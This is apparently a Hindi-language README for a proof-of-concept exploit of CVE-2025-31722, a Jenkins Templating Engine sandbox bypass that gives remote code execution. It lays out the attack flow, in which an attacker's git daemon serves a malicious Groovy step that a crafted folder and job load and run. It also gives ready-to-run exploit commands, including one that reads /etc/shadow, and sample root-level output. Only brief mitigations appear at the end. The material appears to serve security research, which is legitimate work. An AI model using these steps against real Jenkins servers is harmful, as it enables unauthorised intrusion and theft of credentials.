
Jenkins Templating Engine प्लगइन सैंडबॉक्स बाईपास (CVE-2025-31722) के लिए प्रूफ-ऑफ-कॉन्सेप्ट शोषण जो दुर्भावनापूर्ण Groovy लाइब्रेरी इंजेक्शन के माध्यम से दूरस्थ कोड निष्पादन सक्षम करता है।
केवल शैक्षिक और अधिकृत सुरक्षा अनुसंधान उद्देश्यों के लिए।
सैंडबॉक्स बाईपास कमजोरी Jenkins Templating Engine (JTE) प्लगइन <= 2.5.3 में जो एक निम्न-विशेषाधिकार उपयोगकर्ता को जेनकिंस सर्वर पर मनमाना कोड निष्पादित करने की अनुमति देती है।
यह दोष इसलिए होता है क्योंकि JTE फ़ोल्डर-स्तरीय GovernanceTier कॉन्फ़िगरेशन में परिभाषित बाहरी git रिपॉजिटरी से लाइब्रेरी लोड करता है और उन लाइब्रेरीज के चरणों को Groovy सैंडबॉक्स के बाहर निष्पादित करता है, भले ही जॉब बनाने वाले उपयोगकर्ता के विशेषाधिकार स्तर की परवाह किए बिना।
CVSS: 8.8 (उच्च)
प्रकार: सैंडबॉक्स बाईपास → RCE
प्रभावित घटक: pipeline-templating-engine प्लगइन ≤ 2.5.3
निश्चित संस्करण: 2.5.4+
Attacker (Kali) Jenkins Server
─────────────── ──────────────
1. Creates git repo with evil.groovy
2. Starts git daemon on :9418
3. Creates folder in Jenkins → Folder with GovernanceTier
pointing to git://KALI:9418/… pointing to attacker's repo
4. Creates job with AdHoc template → Job calls evil()
5. Triggers build → JTE clones repo from Kali
Executes evil() outside sandbox
← RCE as Jenkins user
cloudbees-folder, git, workflow-aggregatorattacker जिसके पास अनुमतियाँ: Item/READ, Item/CREATE, Item/CONFIGURE, Item/BUILDgit स्थापितrequestspip install requests
डेबियन/उबंटू सर्वर पर स्थापित सेटअप में जेनकिंस स्थापित, उपयोगकर्ता, अनुमतियाँ और आवश्यक प्लगइन्स कॉन्फ़िगर किए गए थे। यह कोई दुर्भावनापूर्ण सामग्री नहीं बनाता — यह विशेष रूप से PoC द्वारा संभाला जाता है।
python3 exploit.py \
--url http://<JENKINS-IP>:8080 \
--user attacker \
--pass attacker123 \
--git-host <KALI-IP>
python3 exploit.py \
--url http://<JENKINS-IP>:8080 \
--user attacker \
--pass attacker123 \
--git-host <KALI-IP> \
--cmd "cat /etc/shadow"
python3 exploit.py \
--url http://<JENKINS-IP>:8080 \
--user attacker \
--pass attacker123 \
--git-host <KALI-IP> \
--cleanup
| पैरामीटर | विवरण | आवश्यक |
|---|---|---|
--url | जेनकिंस आधार URL | हाँ |
--user | Item/CREATE+CONFIGURE+BUILD अनुमतियों वाला उपयोगकर्ता | हाँ |
--pass | उपयोगकर्ता पासवर्ड | हाँ |
--git-host | जेनकिंस से पहुंचने योग्य काली आईपी | हाँ |
--cmd | सर्वर पर निष्पादित करने का कमांड (डिफ़ॉल्ट: id && hostname && cat /etc/passwd) | नहीं |
--cleanup | शोषण द्वारा बनाए गए फ़ोल्डर, जॉब और रिपॉजिटरी को हटाता है | नहीं |
setup_repo() — काली पर ~/jte-exploit/evil-lib/steps/evil.groovy बनाता है जिसमें निष्पादित करने का कमांड होता हैstart_git_daemon() — काली पर पोर्ट 9418 पर git daemon शुरू करता हैcreate_folder() — जेनकिंस में एक फ़ोल्डर बनाता है जिसमें GovernanceTier git://KALI:9418/jte-exploit की ओर इशारा करता हैcreate_job() — AdHocTemplateFlowDefinition के साथ एक जॉब बनाता है जो evil-lib घोषित करता है और evil() को कॉल करता हैtrigger_and_wait() — बिल्ड ट्रिगर करता है और परिणाम की प्रतीक्षा करता हैprint_output() — RCE परिणाम के साथ कंसोल आउटपुट प्रदर्शित करता हैगिट डेमॉन पूरे बिल्ड चक्र के दौरान सक्रिय रहता है और बिल्ड पूरा होने पर स्वचालित रूप से समाप्त हो जाता है।
=================================================================
CVE-2025-31722 — Jenkins Templating Engine RCE
Target : http://10.211.55.10:8080
Git host: 10.211.55.7
Command : id && hostname && cat /etc/passwd
=================================================================
[+] Authenticated as: attacker (id=attacker)
[+] Repo created: /root/jte-exploit
[+] Malicious step: evil-lib/steps/evil.groovy
[+] Git daemon running at git://10.211.55.7:9418/jte-exploit
[+] Folder created
[+] Job created
[+] Build queued
=================================================================
CVE-2025-31722 — RCE OUTPUT
=================================================================
[JTE] ...
uid=0(root) gid=0(root) groups=0(root)
debian
root:x:0:0:root:/root:/bin/bash
...
=================================================================
Item/CREATE और Item/CONFIGURE अनुमतियों को केवल विश्वसनीय उपयोगकर्ताओं तक सीमित करेंGovernanceTier कॉन्फ़िगरेशन वाले फ़ोल्डरों का ऑडिट करेंकानूनी अस्वीकरण: यह PoC केवल शैक्षिक उद्देश्यों और नियंत्रित वातावरण में परीक्षण के लिए है। स्पष्ट प्राधिकरण के बिना सिस्टम के खिलाफ इसका उपयोग करना अवैध है।